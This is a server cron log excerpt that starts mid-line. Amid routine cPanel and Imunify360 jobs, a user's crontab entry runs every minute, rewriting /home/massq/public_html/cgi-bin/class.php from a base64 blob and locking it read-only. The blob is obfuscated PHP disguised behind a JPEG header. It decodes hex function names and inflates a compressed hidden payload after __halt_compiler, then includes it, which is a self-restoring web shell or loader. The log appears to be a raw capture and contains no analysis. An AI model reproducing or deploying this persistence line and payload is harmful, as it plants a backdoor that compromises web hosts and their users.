AC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:14:01 server CROND[26101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:14:01 server CROND[26102]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:14:01 server CROND[26103]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:15:01 server CROND[26505]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 05:15:01 server CROND[26506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:15:01 server CROND[26512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:15:01 server CROND[26514]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 05:15:01 server CROND[26515]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 05:15:01 server CROND[26516]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 05:15:01 server CROND[26518]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 05:15:01 server CROND[26520]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:16:01 server CROND[27375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:16:01 server CROND[27376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:16:01 server CROND[27377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:17:01 server CROND[27767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:17:01 server CROND[27768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:17:01 server CROND[27769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:18:01 server CROND[28211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:18:01 server CROND[28210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:18:01 server CROND[28212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:19:01 server CROND[28732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:19:01 server CROND[28733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:19:01 server CROND[28734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:20:01 server CROND[29120]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 05:20:01 server CROND[29125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:20:01 server CROND[29129]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:20:01 server CROND[29128]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 05:20:01 server CROND[29130]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:20:01 server CROND[29126]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 05:20:01 server CROND[29123]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 05:20:01 server CROND[29127]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 05:20:01 server CROND[29124]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 05:21:01 server CROND[29974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:21:01 server CROND[29975]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:21:01 server CROND[29976]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:22:01 server CROND[30358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:22:01 server CROND[30360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:22:01 server CROND[30361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:23:01 server CROND[30742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:23:01 server CROND[30743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:23:01 server CROND[30744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:24:01 server CROND[31234]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:24:01 server CROND[31235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:24:01 server CROND[31236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:25:01 server CROND[31629]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 05:25:01 server CROND[31631]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 05:25:01 server CROND[31635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:25:01 server CROND[31632]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 05:25:01 server CROND[31634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:25:01 server CROND[31633]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 05:25:01 server CROND[31637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC